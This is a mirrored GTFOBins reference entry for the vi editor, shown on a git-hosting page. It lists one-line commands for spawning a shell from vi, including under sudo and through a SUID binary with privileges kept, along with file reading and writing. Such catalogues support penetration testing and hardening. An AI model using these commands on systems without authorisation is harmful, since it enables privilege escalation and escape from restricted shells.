mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
21 lines
355 B
Markdown
21 lines
355 B
Markdown
---
|
|
functions:
|
|
execute-interactive:
|
|
- code: vi -c ':!/bin/sh'
|
|
- code: |
|
|
vi
|
|
:set shell=/bin/sh
|
|
:shell
|
|
sudo-enabled:
|
|
- code: sudo vi -c ':!/bin/sh'
|
|
suid-enabled:
|
|
- code: ./vi -c ':!/bin/sh -p'
|
|
file-read:
|
|
- code: |
|
|
vi file_to_read
|
|
file-write:
|
|
- code: |
|
|
vi file_to_write
|
|
w
|
|
---
|